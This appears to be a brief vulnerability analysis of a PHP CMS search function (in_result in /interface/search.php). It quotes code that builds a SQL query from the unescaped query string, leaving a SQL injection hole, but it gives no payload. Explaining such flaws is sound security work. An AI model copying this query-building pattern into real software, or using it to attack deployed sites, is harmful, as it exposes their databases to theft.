Similar to the SQL Injection principle in the wap module, variables are retrieved from $ _ SERVER ['query _ string'], which leads to bypassing filtering. In the in_result function of the/interface/search. php file:
function in_result() { ... ... ... ... ... ... ... ... ... $urlcode = $_SERVER[ 'QUERY_STRING ']; parse_str(html_entity_decode($urlcode), $output); ... ... ... ... ... ... ... ... ... if (is_array($output['attr' ]) && count($output['attr']) > 0) { $db_table = db_prefix . 'model_att'; foreach ($output['attr' ] as $key => $value) { if ($value) { $key = addslashes($key); $key = $this-> fun->inputcodetrim($key); $db_att_where = " WHERE isclass=1 AND attrname='$key'"; $countnum = $this->db_numrows($db_table, $db_att_where); if ($countnum > 0) { $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ; } } } } if (!empty ($keyword) && empty($keyname)) { $keyname = 'title'; $db_where.= " AND a.title like '%$keyword%'" ; } elseif (!empty ($keyword) && !empty($keyname)) { $db_where.= " AND $keyname like '% $keyword%'"; } $pagemax = 15; $pagesylte = 1; if ($countnum > 0) { $numpage = ceil($countnum / $pagemax); } else { $numpage = 1; } $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax; $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0); $sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql); ... ... ... ... ... ... ... ... ... }
